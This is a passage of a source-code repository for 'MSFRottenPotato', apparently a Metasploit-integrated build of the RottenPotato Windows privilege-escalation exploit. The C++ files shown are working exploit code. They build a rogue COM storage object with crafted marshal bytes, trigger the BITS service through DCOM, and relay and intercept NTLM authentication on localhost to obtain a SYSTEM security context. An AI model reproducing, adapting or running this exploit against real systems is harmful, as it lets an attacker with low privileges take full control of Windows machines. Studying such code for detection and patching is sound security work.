├── MSFRottenPotato.sln ├── MSFRottenPotato ├── BlockingQueue.h ├── IStorageTrigger.cpp ├── IStorageTrigger.h ├── LocalNegotiator.cpp ├── LocalNegotiator.h ├── MSFRottenPotato.cpp ├── MSFRottenPotato.h ├── MSFRottenPotato.vcxproj ├── MSFRottenPotato.vcxproj.filters ├── MSFRottenPotato.vcxproj.user ├── ReflectiveDllInjection.h ├── ReflectiveLoader.c ├── ReflectiveLoader.h ├── dllmain.cpp ├── dump.stg ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── potato.x64.dll ├── potato.x86.dll ├── rottenpotato.cna └── rottenpotato.rb /MSFRottenPotato.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26403.7 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MSFRottenPotato", "MSFRottenPotato\MSFRottenPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Debug|x64 17 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Debug|x64 18 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Debug|Win32 19 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Debug|Win32 20 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64 21 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64 22 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Deploy.0 = Release|x64 23 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32 24 | {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32 25 | EndGlobalSection 26 | GlobalSection(SolutionProperties) = preSolution 27 | HideSolutionNode = FALSE 28 | EndGlobalSection 29 | GlobalSection(ExtensibilityGlobals) = postSolution 30 | SolutionGuid = {F17C3DED-70DC-4318-B6D7-1477B2D4D79D} 31 | EndGlobalSection 32 | EndGlobal 33 | -------------------------------------------------------------------------------- /MSFRottenPotato/BlockingQueue.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include "stdafx.h" 6 | 7 | typedef std::mutex Mutex; 8 | template class BlockingQueue{ 9 | public: 10 | void push(const ITEM& value) { // push 11 | std::lock_guard lock(mutex); 12 | queue.push(std::move(value)); 13 | condition.notify_one(); 14 | } 15 | bool try_pop(ITEM& value) { // non-blocking pop 16 | std::lock_guard lock(mutex); 17 | if (queue.empty()) return false; 18 | value = std::move(queue.front()); 19 | queue.pop(); 20 | return true; 21 | } 22 | ITEM wait_pop() { // blocking pop 23 | std::unique_lock lock(mutex); 24 | condition.wait(lock, [this] {return !queue.empty(); }); 25 | ITEM const value = std::move(queue.front()); 26 | queue.pop(); 27 | return value; 28 | } 29 | bool empty() const { // queue is empty? 30 | std::lock_guard lock(mutex); 31 | return queue.empty(); 32 | } 33 | void clear() { // remove all items 34 | ITEM item; 35 | while (try_pop(item)); 36 | } 37 | private: 38 | Mutex mutex; 39 | std::queue queue; 40 | std::condition_variable condition; 41 | }; 42 | 43 | -------------------------------------------------------------------------------- /MSFRottenPotato/IStorageTrigger.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "IStorageTrigger.h" 3 | #include 4 | #include 5 | 6 | IStorageTrigger::IStorageTrigger(IStorage *istg) { 7 | _stg = istg; 8 | m_cRef = 1; 9 | return; 10 | } 11 | 12 | HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) { 13 | return 0; 14 | } 15 | HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) { 16 | *pSize = 1024; 17 | return 0; 18 | } 19 | HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) { 20 | CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid); 21 | return 0; 22 | } 23 | HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) { 24 | byte data[] = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 25 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76, 26 | 0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70, 27 | 0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00, 28 | 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36, 29 | 0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 }; 30 | ULONG written = 0; 31 | int szData = sizeof(data); 32 | pStm->Write(&data, sizeof(data), &written); 33 | return 0; 34 | } 35 | HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) { 36 | return 0; 37 | } 38 | HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) { 39 | *ppv = 0; 40 | return 0; 41 | } 42 | HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) { 43 | _stg->Commit(grfCommitFlags); 44 | return 0; 45 | } 46 | HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) { 47 | _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); 48 | return 0; 49 | } 50 | HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) { 51 | _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); 52 | return 0; 53 | } 54 | HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) { 55 | _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); 56 | return 0; 57 | } 58 | HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) { 59 | _stg->DestroyElement(pwcsName); 60 | return 0; 61 | } 62 | HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) { 63 | _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); 64 | return 0; 65 | } 66 | HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) { 67 | _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); 68 | return 0; 69 | } 70 | HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) { 71 | _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); 72 | return 0; 73 | } 74 | HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) { 75 | _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); 76 | return 0; 77 | } 78 | HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) { 79 | return 0; 80 | } 81 | HRESULT IStorageTrigger::Revert() { 82 | return 0; 83 | } 84 | HRESULT IStorageTrigger::SetClass(const IID &clsid) { 85 | return 0; 86 | } 87 | HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) { 88 | return 0; 89 | } 90 | HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) { 91 | return 0; 92 | } 93 | HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) { 94 | _stg->Stat(pstatstg, grfStatFlag); 95 | 96 | //Allocate from heap because apparently this will get freed in OLE32 97 | const wchar_t c_s[] = L"hello.stg"; 98 | wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s)); 99 | wcscpy(s, c_s); 100 | pstatstg[0].pwcsName = s; 101 | return 0; 102 | } 103 | 104 | ///////////////////////IUknown Interface 105 | HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) { 106 | // Always set out parameter to NULL, validating it first. 107 | if (!ppvObj) 108 | return E_INVALIDARG; 109 | if (riid == IID_IUnknown) 110 | { 111 | *ppvObj = static_cast(this); 112 | //reinterpret_cast(*ppvObj)->AddRef(); 113 | } 114 | else if (riid == IID_IStorage) 115 | { 116 | *ppvObj = static_cast(this); 117 | } 118 | else if (riid == IID_IMarshal) 119 | { 120 | *ppvObj = static_cast(this); 121 | } 122 | else 123 | { 124 | *ppvObj = NULL; 125 | return E_NOINTERFACE; 126 | } 127 | // Increment the reference count and return the pointer. 128 | 129 | return S_OK; 130 | 131 | } 132 | 133 | 134 | ULONG IStorageTrigger::AddRef() { 135 | m_cRef++; 136 | return m_cRef; 137 | } 138 | 139 | ULONG IStorageTrigger::Release() { 140 | // Decrement the object's internal counter. 141 | ULONG ulRefCount = m_cRef--; 142 | return ulRefCount; 143 | } 144 | -------------------------------------------------------------------------------- /MSFRottenPotato/IStorageTrigger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Objidl.h" 3 | 4 | class IStorageTrigger : public IMarshal, public IStorage { 5 | private: 6 | IStorage *_stg; 7 | int m_cRef; 8 | public: 9 | IStorageTrigger(IStorage *stg); 10 | HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved); 11 | HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize); 12 | HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid); 13 | HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags); 14 | HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm); 15 | HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv); 16 | HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags); 17 | HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest); 18 | HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg); 19 | HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm); 20 | HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName); 21 | HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum); 22 | HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags); 23 | HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg); 24 | HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm); 25 | HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName); 26 | HRESULT STDMETHODCALLTYPE Revert(); 27 | HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid); 28 | HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime); 29 | HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask); 30 | HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag); 31 | 32 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject); 33 | ULONG STDMETHODCALLTYPE AddRef(); 34 | ULONG STDMETHODCALLTYPE Release(); 35 | }; -------------------------------------------------------------------------------- /MSFRottenPotato/LocalNegotiator.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "LocalNegotiator.h" 3 | #include 4 | 5 | LocalNegotiator::LocalNegotiator() 6 | { 7 | authResult = -1; 8 | } 9 | 10 | void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer) 11 | { 12 | pSecBuffer->BufferType = SECBUFFER_TOKEN; 13 | pSecBuffer->cbBuffer = 0; 14 | pSecBuffer->pvBuffer = nullptr; 15 | 16 | pSecBufferDesc->ulVersion = SECBUFFER_VERSION; 17 | pSecBufferDesc->cBuffers = 1; 18 | pSecBufferDesc->pBuffers = pSecBuffer; 19 | } 20 | 21 | int LocalNegotiator::handleType1(char * ntlmBytes, int len) 22 | { 23 | TCHAR lpPackageName[1024] = L"Negotiate"; 24 | TimeStamp ptsExpiry; 25 | 26 | int status = AcquireCredentialsHandle( 27 | NULL, 28 | lpPackageName, 29 | SECPKG_CRED_INBOUND, 30 | NULL, 31 | NULL, 32 | 0, 33 | NULL, 34 | &hCred, 35 | &ptsExpiry); 36 | 37 | if (status != SEC_E_OK) 38 | { 39 | printf("Error in AquireCredentialsHandle"); 40 | return -1; 41 | } 42 | 43 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); 44 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); 45 | 46 | phContext = new CtxtHandle(); 47 | 48 | secClientBuffer.cbBuffer = static_cast(len); 49 | secClientBuffer.pvBuffer = ntlmBytes; 50 | 51 | ULONG fContextAttr; 52 | TimeStamp tsContextExpiry; 53 | 54 | status = AcceptSecurityContext( 55 | &hCred, 56 | nullptr, 57 | &secClientBufferDesc, 58 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, 59 | //STANDARD_CONTEXT_ATTRIBUTES, 60 | SECURITY_NATIVE_DREP, 61 | phContext, 62 | &secServerBufferDesc, 63 | &fContextAttr, 64 | &tsContextExpiry); 65 | 66 | return status; 67 | } 68 | 69 | int LocalNegotiator::handleType2(char * ntlmBytes, int len) 70 | { 71 | char* newNtlmBytes = (char*) secServerBuffer.pvBuffer; 72 | if (len >= secServerBuffer.cbBuffer) { 73 | for (int i = 0; i < len; i++) 74 | { 75 | if (i < secServerBuffer.cbBuffer) { 76 | ntlmBytes[i] = newNtlmBytes[i]; 77 | } 78 | else { 79 | ntlmBytes[i] = 0x00; 80 | } 81 | } 82 | } 83 | else { 84 | printf("Buffer sizes incompatible - can't replace"); 85 | } 86 | 87 | return 0; 88 | } 89 | 90 | int LocalNegotiator::handleType3(char * ntlmBytes, int len) 91 | { 92 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); 93 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); 94 | 95 | secClientBuffer.cbBuffer = static_cast(len); 96 | secClientBuffer.pvBuffer = ntlmBytes; 97 | 98 | ULONG fContextAttr; 99 | TimeStamp tsContextExpiry; 100 | int status = AcceptSecurityContext( 101 | &hCred, 102 | phContext, 103 | &secClientBufferDesc, 104 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, 105 | //STANDARD_CONTEXT_ATTRIBUTES, 106 | SECURITY_NATIVE_DREP, 107 | phContext, 108 | &secServerBufferDesc, 109 | &fContextAttr, 110 | &tsContextExpiry); 111 | 112 | authResult = status; 113 | 114 | return status; 115 | } 116 | -------------------------------------------------------------------------------- /MSFRottenPotato/LocalNegotiator.h: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | 3 | #pragma once 4 | #include 5 | #include 6 | class LocalNegotiator 7 | { 8 | public: 9 | LocalNegotiator(); 10 | int handleType1(char* ntlmBytes, int len); 11 | int handleType2(char* ntlmBytes, int len); 12 | int handleType3(char* ntlmBytes, int len); 13 | PCtxtHandle phContext; 14 | int authResult; 15 | 16 | private: 17 | CredHandle hCred; 18 | SecBufferDesc secClientBufferDesc, secServerBufferDesc; 19 | SecBuffer secClientBuffer, secServerBuffer; 20 | }; 21 | 22 | -------------------------------------------------------------------------------- /MSFRottenPotato/MSFRottenPotato.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "MSFRottenPotato.h" 3 | #include "IStorageTrigger.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #pragma comment (lib, "Ws2_32.lib") 10 | #pragma comment (lib, "Mswsock.lib") 11 | #pragma comment (lib, "AdvApi32.lib") 12 | 13 | int CMSFRottenPotato::newConnection; 14 | 15 | // This is the constructor of a class that has been exported. 16 | // see MSFRottenPotato.h for the class definition 17 | CMSFRottenPotato::CMSFRottenPotato() 18 | { 19 | comSendQ = new BlockingQueue(); 20 | rpcSendQ = new BlockingQueue(); 21 | newConnection = 0; 22 | negotiator = new LocalNegotiator(); 23 | return; 24 | } 25 | 26 | 27 | DWORD CMSFRottenPotato::startRPCConnectionThread() { 28 | DWORD ThreadID; 29 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID); 30 | return ThreadID; 31 | } 32 | 33 | DWORD CMSFRottenPotato::startCOMListenerThread() { 34 | DWORD ThreadID; 35 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID); 36 | return ThreadID; 37 | } 38 | 39 | DWORD WINAPI CMSFRottenPotato::staticStartRPCConnection(void* Param) 40 | { 41 | CMSFRottenPotato* This = (CMSFRottenPotato*)Param; 42 | return This->startRPCConnection(); 43 | } 44 | 45 | DWORD WINAPI CMSFRottenPotato::staticStartCOMListener(void* Param) 46 | { 47 | CMSFRottenPotato* This = (CMSFRottenPotato*)Param; 48 | return This->startCOMListener(); 49 | } 50 | 51 | int CMSFRottenPotato::findNTLMBytes(char *bytes, int len) { 52 | //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. 53 | //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, 54 | //we can just return the index 55 | char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; 56 | int pIdx = 0; 57 | int i; 58 | for (i = 0; i < len; i++) { 59 | if (bytes[i] == pattern[pIdx]) { 60 | pIdx = pIdx + 1; 61 | if (pIdx == 7) return (i - 6); 62 | } 63 | else { 64 | pIdx = 0; 65 | } 66 | } 67 | return -1; 68 | } 69 | 70 | int CMSFRottenPotato::processNtlmBytes(char *bytes, int len) { 71 | int ntlmLoc = findNTLMBytes(bytes, len); 72 | if (ntlmLoc == -1) return -1; 73 | 74 | int messageType = bytes[ntlmLoc + 8]; 75 | switch (messageType) { 76 | //NTLM type 1 message 77 | case 1: 78 | negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc); 79 | break; 80 | //NTLM type 2 message 81 | case 2: 82 | negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc); 83 | break; 84 | //NTLM type 3 message 85 | case 3: 86 | negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); 87 | break; 88 | default: 89 | return -1; 90 | break; 91 | } 92 | return 0; 93 | } 94 | 95 | int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) { 96 | fd_set readSet; 97 | FD_ZERO(&readSet); 98 | FD_SET(*ListenSocket, &readSet); 99 | timeval timeout; 100 | timeout.tv_sec = 1; // Zero timeout (poll) 101 | timeout.tv_usec = 0; 102 | if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) { 103 | *ClientSocket = accept(*ListenSocket, NULL, NULL); 104 | return 1; 105 | } 106 | return 0; 107 | } 108 | 109 | int CMSFRottenPotato::triggerDCOM(void) 110 | { 111 | CoInitialize(nullptr); 112 | 113 | //Create IStorage object 114 | IStorage *stg = NULL; 115 | ILockBytes *lb = NULL; 116 | CreateILockBytesOnHGlobal(NULL, true, &lb); 117 | StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); 118 | 119 | //Initialze IStorageTrigger object 120 | IStorageTrigger* t = new IStorageTrigger(stg); 121 | 122 | //Prep a few more args for CoGetInstanceFromIStorage 123 | CLSID clsid; 124 | //BITS IID 125 | CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid); 126 | CLSID tmp; 127 | //IUnknown IID 128 | CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); 129 | MULTI_QI qis[1]; 130 | qis[0].pIID = &tmp; 131 | qis[0].pItf = NULL; 132 | qis[0].hr = 0; 133 | 134 | //Call CoGetInstanceFromIStorage 135 | HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis); 136 | 137 | return 0; 138 | } 139 | 140 | int CMSFRottenPotato::startRPCConnection(void) { 141 | const int DEFAULT_BUFLEN = 4096; 142 | PCSTR DEFAULT_PORT = "135"; 143 | PCSTR host = "127.0.0.1"; 144 | 145 | WSADATA wsaData; 146 | SOCKET ConnectSocket = INVALID_SOCKET; 147 | struct addrinfo *result = NULL, 148 | *ptr = NULL, 149 | hints; 150 | 151 | char *sendbuf; 152 | char recvbuf[DEFAULT_BUFLEN]; 153 | int iResult; 154 | int recvbuflen = DEFAULT_BUFLEN; 155 | 156 | // Initialize Winsock 157 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 158 | if (iResult != 0) { 159 | return 1; 160 | } 161 | 162 | ZeroMemory(&hints, sizeof(hints)); 163 | hints.ai_family = AF_UNSPEC; 164 | hints.ai_socktype = SOCK_STREAM; 165 | hints.ai_protocol = IPPROTO_TCP; 166 | 167 | // Resolve the server address and port 168 | iResult = getaddrinfo(host, DEFAULT_PORT, &hints, &result); 169 | if (iResult != 0) { 170 | WSACleanup(); 171 | return 1; 172 | } 173 | 174 | // Attempt to connect to an address until one succeeds 175 | for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { 176 | 177 | // Create a SOCKET for connecting to server 178 | ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, 179 | ptr->ai_protocol); 180 | if (ConnectSocket == INVALID_SOCKET) { 181 | WSACleanup(); 182 | return 1; 183 | } 184 | 185 | // Connect to server. 186 | iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); 187 | if (iResult == SOCKET_ERROR) { 188 | closesocket(ConnectSocket); 189 | ConnectSocket = INVALID_SOCKET; 190 | continue; 191 | } 192 | break; 193 | } 194 | 195 | if (ConnectSocket == INVALID_SOCKET) { 196 | WSACleanup(); 197 | return 1; 198 | } 199 | 200 | // Send/Receive until the peer closes the connection 201 | do { 202 | 203 | //Monitor our sendQ until we have some data to send 204 | int *len = (int*)rpcSendQ->wait_pop(); 205 | sendbuf = rpcSendQ->wait_pop(); 206 | 207 | //Check if we should be opening a new socket before we send the data 208 | if (newConnection == 1) { 209 | //closesocket(ConnectSocket); 210 | ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); 211 | connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); 212 | newConnection = 0; 213 | } 214 | 215 | iResult = send(ConnectSocket, sendbuf, *len, 0); 216 | if (iResult == SOCKET_ERROR) { 217 | closesocket(ConnectSocket); 218 | WSACleanup(); 219 | return 1; 220 | } 221 | 222 | iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); 223 | if (iResult > 0) { 224 | comSendQ->push((char*)&iResult); 225 | comSendQ->push(recvbuf); 226 | } 227 | else if (iResult == 0) 228 | printf("RPC-> Connection closed\n"); 229 | else 230 | printf("RPC -> recv failed with error: %d\n", WSAGetLastError()); 231 | 232 | } while (iResult > 0); 233 | 234 | // cleanup 235 | iResult = shutdown(ConnectSocket, SD_SEND); 236 | closesocket(ConnectSocket); 237 | WSACleanup(); 238 | 239 | return 0; 240 | } 241 | 242 | int CMSFRottenPotato::startCOMListener(void) { 243 | const int DEFAULT_BUFLEN = 4096; 244 | PCSTR DEFAULT_PORT = "6666"; 245 | 246 | WSADATA wsaData; 247 | int iResult; 248 | 249 | SOCKET ListenSocket = INVALID_SOCKET; 250 | SOCKET ClientSocket = INVALID_SOCKET; 251 | 252 | struct addrinfo *result = NULL; 253 | struct addrinfo hints; 254 | 255 | int iSendResult; 256 | char *sendbuf; 257 | 258 | char recvbuf[DEFAULT_BUFLEN]; 259 | int recvbuflen = DEFAULT_BUFLEN; 260 | 261 | // Initialize Winsock 262 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 263 | if (iResult != 0) { 264 | return 1; 265 | } 266 | 267 | ZeroMemory(&hints, sizeof(hints)); 268 | hints.ai_family = AF_INET; 269 | hints.ai_socktype = SOCK_STREAM; 270 | hints.ai_protocol = IPPROTO_TCP; 271 | hints.ai_flags = AI_PASSIVE; 272 | 273 | // Resolve the server address and port 274 | iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); 275 | if (iResult != 0) { 276 | WSACleanup(); 277 | return 1; 278 | } 279 | 280 | // Create a SOCKET for connecting to server 281 | ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); 282 | if (ListenSocket == INVALID_SOCKET) { 283 | freeaddrinfo(result); 284 | WSACleanup(); 285 | return 1; 286 | } 287 | 288 | // Setup the TCP listening socket 289 | iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); 290 | if (iResult == SOCKET_ERROR) { 291 | freeaddrinfo(result); 292 | closesocket(ListenSocket); 293 | WSACleanup(); 294 | return 1; 295 | } 296 | 297 | freeaddrinfo(result); 298 | 299 | iResult = listen(ListenSocket, SOMAXCONN); 300 | if (iResult == SOCKET_ERROR) { 301 | closesocket(ListenSocket); 302 | WSACleanup(); 303 | return 1; 304 | } 305 | 306 | // Accept a client socket 307 | ClientSocket = accept(ListenSocket, NULL, NULL); 308 | if (ClientSocket == INVALID_SOCKET) { 309 | closesocket(ListenSocket); 310 | WSACleanup(); 311 | return 1; 312 | } 313 | 314 | // Receive until the peer shuts down the connection 315 | int ntlmLoc; 316 | do { 317 | iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); 318 | if (iResult > 0) { 319 | 320 | //check to see if the received packet has NTLM auth information 321 | processNtlmBytes(recvbuf, iResult); 322 | 323 | //Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue" 324 | //put packet in winrpc_sendq 325 | rpcSendQ->push((char*)&iResult); 326 | rpcSendQ->push(recvbuf); 327 | 328 | //block and wait for a new item in our sendq 329 | int* len = (int*)comSendQ->wait_pop(); 330 | sendbuf = comSendQ->wait_pop(); 331 | 332 | //Check to see if this is a packet containing NTLM authentication information before sending 333 | processNtlmBytes(sendbuf, *len); 334 | 335 | //send the new packet sendbuf 336 | iSendResult = send(ClientSocket, sendbuf, *len, 0); 337 | 338 | if (iSendResult == SOCKET_ERROR) { 339 | closesocket(ClientSocket); 340 | WSACleanup(); 341 | return 1; 342 | } 343 | 344 | //Sometimes Windows likes to open a new connection instead of using the current one 345 | //Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming 346 | newConnection = checkForNewConnection(&ListenSocket, &ClientSocket); 347 | } 348 | else if (iResult == 0) 349 | printf("Connection closing...\n"); 350 | else { 351 | closesocket(ClientSocket); 352 | WSACleanup(); 353 | return 1; 354 | } 355 | 356 | } while (iResult > 0); 357 | 358 | // shutdown the connection since we're done 359 | iResult = shutdown(ClientSocket, SD_SEND); 360 | if (iResult == SOCKET_ERROR) { 361 | closesocket(ClientSocket); 362 | WSACleanup(); 363 | return 1; 364 | } 365 | 366 | // cleanup 367 | closesocket(ClientSocket); 368 | WSACleanup(); 369 | 370 | closesocket(ListenSocket); 371 | WSACleanup(); 372 | 373 | return 0; 374 | } 375 | -------------------------------------------------------------------------------- /MSFRottenPotato/MSFRottenPotato.h: -------------------------------------------------------------------------------- 1 | // The following ifdef block is the standard way of creating macros which make exporting 2 | // from a DLL simpler. All files within this DLL are compiled with the MSFROTTENPOTATO_EXPORTS 3 | // symbol 